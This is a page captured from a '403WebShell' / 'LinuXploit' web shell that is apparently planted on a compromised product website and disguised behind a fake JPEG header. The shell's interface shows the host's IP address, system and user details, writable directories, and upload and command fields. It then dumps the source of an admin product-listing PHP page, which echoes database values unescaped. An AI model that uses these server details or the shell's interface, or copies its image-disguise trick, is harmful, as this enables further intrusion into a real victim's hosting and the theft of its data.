���� JFIF    aewtgwgerwasdasd403WebShell
403Webshell
Server IP : 147.93.80.58  /  Your IP : 216.73.216.195
Web Server : LiteSpeed
System : Linux id-dci-web1866.main-hosting.eu 5.14.0-503.38.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 18 08:52:10 EDT 2025 x86_64
User : u939086737 ( 939086737)
PHP Version : 8.2.28
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/u939086737/domains/jeevikagaumaa.in/public_html/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/u939086737/domains/jeevikagaumaa.in/public_html/admin//view_product.php
<?php include '../action/check-login.php';
include '../action/config.php'; ?>

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="utf-8" />
    <meta http-equiv="X-UA-Compatible" content="IE=edge" />
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" />
    <meta name="description" content="" />
    <meta name="author" content="" />
    <title>View Products | जीवनदायिनी जीविका गौसेवा सदन</title>
    <link href="css/styles.css" rel="stylesheet" />
    <link href="https://cdn.datatables.net/1.10.20/css/dataTables.bootstrap4.min.css" rel="stylesheet" crossorigin="anonymous" />
    <script src="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.1/js/all.min.js" crossorigin="anonymous"></script>
    <link rel="shortcut icon" href="../images/logo3.png" />
    <!-- <base href="assets/img/"> -->
    <style>
        .switch {
            position: relative;
            display: inline-block;
            width: 60px;
            height: 34px;
        }

        .switch input {
            opacity: 0;
            width: 0;
            height: 0;
        }

        .slider {
            position: absolute;
            cursor: pointer;
            top: 0;
            left: 0;
            right: 0;
            bottom: 0;
            background-color: #ccc;
            -webkit-transition: .4s;
            transition: .4s;
        }

        .slider:before {
            position: absolute;
            content: "";
            height: 26px;
            width: 26px;
            left: 4px;
            bottom: 4px;
            background-color: white;
            -webkit-transition: .4s;
            transition: .4s;
        }

        input:checked+.slider {
            background-color: #2196F3;
        }

        input:focus+.slider {
            box-shadow: 0 0 1px #2196F3;
        }

        input:checked+.slider:before {
            -webkit-transform: translateX(26px);
            -ms-transform: translateX(26px);
            transform: translateX(26px);
        }

        /* Rounded sliders */
        .slider.round {
            border-radius: 34px;
        }

        .slider.round:before {
            border-radius: 50%;
        }
    </style>
</head>

<body class="sb-nav-fixed">
    <?php include 'sidebar_menu.php'; ?>

    <main>
        <div class="container-fluid">
            <ol class="breadcrumb mb-4 mt-2">
                <li class="breadcrumb-item font-weight-bold">All Products</li>
            </ol>

            <div class="card mb-4" style="border: 1px solid #B3FBFF">
                <div class="card-header" style="background-color: #B3FBFF">
                    <i class="fas fa-table mr-1"></i>
                    Product List <span style="float: right;" class="badge badge-pill"><a href="add_product">Add Product</a></span>
                </div>

                <div class="card-body">
                    <div class="table-responsive">
                        <table class="table table-bordered" id="dataTable" width="100%" cellspacing="0">
                            <thead>
                                <tr>
                                    <th>#</th>
                                    <th>Product</th>
                                    <th>category</th>
                                    <th>Sub<br>Category</th>
                                    <th>Image</th>
                                    <th>Qty</th>
                                    <!--<th>GST</th>-->
                                    <th>Cashback</th>
                                    <th>Price</th>
                                    <th>Deal Price</th>
                                    <th>Action</th>
                                </tr>
                            </thead>
                            <tbody>
                                <?php
                                $team_q = mysqli_query($con, "SELECT * FROM `product` ORDER BY id DESC ");
                                $t = mysqli_num_rows($team_q);
                                $i = 1;
                                while ($tm = mysqli_fetch_array($team_q)) {
                                ?>
                                    <tr>
                                        <td><?php echo $i++; ?></td>
                                        <td><?php echo $tm['pname'] ?></td>
                                        <td><?php echo $tm['category'] ?></td>
                                        <td><?php echo $tm['subcategory'] ?></td>
                                        <td>
                                            <?php if ($tm['img1'] != '') { ?> <img width="50px" height="50px" src="./assets/img/<?php echo $tm['img1'] ?>"> <?php } ?>
                                        </td>
                                        <td><?php echo $tm['quantity'] ?></td>
                                        <!--<td><?php echo $tm['gst'] ?></td>-->
                                        <td><?php echo $tm['disc'] ?>%</td>
                                        <td><?php echo $tm['offer_price'] ?></td>
                                        <td><?php echo $tm['deal_price'] ?></td>
                                        <td class="text-center">
                                            <a title="View Details" href="product_details?id=<?php echo $tm['id'] ?>">
                                                <i class="fas fa-edit"></i>
                                            </a>

                                            &nbsp;&nbsp;
                                            <?php if ($tm['status'] == 0) : ?>
                                                <a title="Not Available" class="text-danger font-weight-bold" href="delete_product?id=<?php echo $tm['id'] ?>">N/A</a>
                                            <?php else : ?>
                                                <a title="Available" class="text-success font-weight-bold" href="delete_product?id=<?php echo $tm['id'] ?>">Avail</a>
                                            <?php endif; ?>
                                            &nbsp;&nbsp;

                                            <a onclick="return confirm('Do you really want to delete this product ?');" title="Delete Product" href="delete_product2?id=<?php echo $tm['id'] ?>">
                                                <i class="fas fa-trash text-danger"></i>
                                            </a>

                                            &nbsp;&nbsp;
                                            <a title="Change Product Image" href="change_pimg?id=<?php echo $tm['id'] ?>">
                                                <i class="fas fa-camera text-dark"></i>
                                            </a>
                                        </td>
                                    </tr>
                                <?php
                                }
                                ?>

                            </tbody>
                        </table>
                    </div>
                </div>
            </div>
        </div>
    </main>
    <script>
        function productStatus(str) {
            alert(str);
            jQuery.ajax({
                url: "delete_product.php",
                data: 'status=' + $("#status").val(),
                type: "POST",
                success: function(data) {
                    // $("#user-availability-status").html(data);
                    alert("Status Changed");
                },
                error: function() {
                    alert('error');
                }
            });
        }
    </script>

    <?php include 'footer.php'; ?>

</body>

</html>

Youez - 2016 - github.com/yon3zu
LinuXploit